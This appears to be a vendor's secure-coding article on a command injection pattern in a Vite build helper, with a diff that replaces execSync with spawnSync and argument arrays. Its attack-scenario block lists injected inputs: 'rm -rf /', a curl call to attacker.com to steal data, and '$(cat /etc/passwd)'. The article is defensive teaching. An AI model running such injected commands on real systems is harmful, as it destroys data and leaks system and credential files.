How Command Injection Happens in Node.js Child Process Calls and How to Fix It

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

Introduction

In Vite's shared.js file, a high-severity command injection vulnerability was lurking in the gitExec() function at line 14. The function used Node.js's execSync() API to execute Git commands, but it did so in a way that could allow an attacker to inject arbitrary shell commands if the input became user-controllable. While the current code passes hardcoded Git commands, the vulnerable pattern itself—combining execSync() with string concatenation—is a classic exploit primitive that automated attack tools specifically look for when chaining vulnerabilities together.

The specific issue: the function accepted a cmd parameter and passed it directly to execSync(cmd, ...), which invokes a shell to interpret the string. Any shell metacharacters in that string would be interpreted as commands, not as literal arguments.

The Vulnerability Explained

Let's look at the vulnerable code from vite/shared.js:

const gitExec = (cmd) => {
  try {
    return execSync(cmd, { stdio: ['pipe', 'pipe', 'ignore'] })
      .toString()
      .trim();
  } catch {
    return null;
  }
};

The problem is subtle but critical. The function takes a cmd parameter and passes it directly to execSync(). When you call execSync('git rev-parse --short HEAD'), Node.js spawns a shell (/bin/sh on Unix, cmd.exe on Windows) and passes the entire string to it for interpretation.

Why is this dangerous? Consider this attack scenario:

// If an attacker could control the cmd parameter:
gitExec('git rev-parse --short HEAD; rm -rf /')  // Shell interprets ; as command separator
gitExec('git rev-parse --short HEAD && curl attacker.com/steal-data')
gitExec('git rev-parse --short HEAD $(cat /etc/passwd)')  // Command substitution

The shell would execute all of these commands in sequence. Even though today's code has hardcoded Git commands, this pattern is exactly what security scanners and automated exploit tools look for—it's a "gadget" that could be chained with other vulnerabilities.

The real-world impact: If this function were exposed through an API endpoint or accepted user input (perhaps through environment variables or configuration files), an attacker could achieve remote code execution on the build server. For a build tool like Vite, this could compromise the entire supply chain.

The Fix

The fix makes three critical changes to vite/shared.js:

Change 1: Replace execSync with spawnSync

-import { execSync } from 'child_process';
+import { spawnSync } from 'child_process';

spawnSync() does not invoke a shell by default. Instead, it directly executes a program and passes arguments separately, preventing shell interpretation.

Change 2: Refactor gitExec() to accept arguments as an array

-const gitExec = (cmd) => {
-  try {
-    return execSync(cmd, { stdio: ['pipe', 'pipe', 'ignore'] })
-      .toString()
-      .trim();
-  } catch {
-    return null;
-  }
+const gitExec = (args) => {
+  const result = spawnSync('git', args, { stdio: ['pipe', 'pipe', 'ignore'] });
+  if (result.error || result.status !== 0) return null;
+  return result.stdout.toString().trim();
 };

This is the key security improvement. Instead of passing a shell command string, the function now:
- Takes args as an array (e.g., ['rev-parse', '--short', 'HEAD'])
- Calls spawnSync('git', args, ...) which directly executes the git binary with those arguments
- The shell never sees the arguments, so metacharacters are treated as literal data

Change 3: Update call sites to pass arguments as arrays

-  GIT_COMMIT: JSON.stringify(gitExec('git rev-parse --short HEAD') ?? 'unknown'),
-  GIT_DIRTY: String((gitExec('git status --porcelain') ?? '').length > 0),
+  GIT_COMMIT: JSON.stringify(gitExec(['rev-parse', '--short', 'HEAD']) ?? 'unknown'),
+  GIT_DIRTY: String((gitExec(['status', '--porcelain']) ?? '').length > 0),

Notice that the Git command itself is no longer passed to gitExec(). Instead, only the subcommand and arguments are passed as array elements. The git executable is hardcoded in the spawnSync() call.

Why this works: With spawnSync('git', ['rev-parse', '--short', 'HEAD'], ...), the operating system directly executes /usr/bin/git with those exact arguments. The shell never gets involved, so even if an argument contained ; rm -rf /, it would be treated as a literal string argument to Git, not as a shell command.

Prevention & Best Practices

1. Always prefer spawn() or spawnSync() over exec() or execSync()
   - These APIs accept arguments as arrays, preventing shell interpretation
   - Use shell: true only when you explicitly need shell features (globbing, piping, etc.)

2. Never concatenate user input into command strings
   - Even with validation or escaping, mistakes happen
   - Using array-based APIs eliminates the risk entirely

3. Validate that child process calls use safe APIs
   - Use static analysis tools like Semgrep to detect execSync() and exec() usage
   - Flag them as requiring security review

4. Understand the difference between shell and non-shell execution
   - execSync('git status') → spawns /bin/sh -c "git status" (shell interprets the string)
   - spawnSync('git', ['status']) → directly executes git binary (no shell)

5. Apply the principle of least privilege
   - Even if child processes are called safely, run them with minimal required permissions
   - Consider using sandboxing or containers for untrusted operations

Relevant standards:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021: Injection (includes command injection)

Key Takeaways

• Never use execSync() with string concatenation for dynamic commands — The vite/shared.js vulnerability shows how this pattern is flagged by security scanners as a potential exploit primitive, even when hardcoded today.

• spawnSync() with array arguments is the secure alternative — By passing ['rev-parse', '--short', 'HEAD'] instead of 'git rev-parse --short HEAD', the fix ensures shell metacharacters are treated as literal data.

• This is a "gadget" that matters even without immediate exploitation — Automated exploit tools specifically search for execSync() patterns to chain with other vulnerabilities. Removing this primitive raises the bar against increasingly sophisticated attack tooling.

• Static analysis caught what code review might miss — Semgrep's javascript.lang.security.detect-child-process.detect-child-process rule flagged this before it could be exploited, demonstrating the value of continuous security scanning.

• The fix preserves behavior while eliminating the attack surface — Git commands still execute correctly; the only change is how arguments are passed, making the code both more secure and more robust.

How Orbis AppSec Detected This

Source: The cmd parameter passed to the gitExec() function in vite/shared.js:14, which could potentially receive user-controlled input in future refactors or if the function is exposed through an API.

Sink: The execSync(cmd, ...) call at line 16, which invokes a shell to interpret the command string, creating an OS command injection risk.

Missing control: No input validation or sanitization; no use of shell-safe APIs like spawnSync() with argument arrays; the function accepted raw command strings rather than structured arguments.

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Replace execSync() with spawnSync(), pass command arguments as an array instead of a concatenated string, and hardcode the executable name ('git') while accepting only the subcommand and arguments as parameters.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection through unsafe child process calls is one of the most dangerous vulnerability classes in Node.js applications. The fix applied to vite/shared.js demonstrates the importance of using the right API for the job: spawnSync() with array arguments is not just safer, it's the best practice for executing external programs.

Even though Vite's current code passes hardcoded Git commands, the vulnerable pattern itself was a liability. By proactively removing this exploit primitive, the codebase is now resilient against future refactors that might introduce user input, and it's protected against automated exploit-development tools that specifically target these patterns.

The lesson for developers: when executing external programs, reach for spawn() or spawnSync() first, pass arguments as arrays, and avoid shell invocation unless absolutely necessary. Your future self—and your security team—will thank you.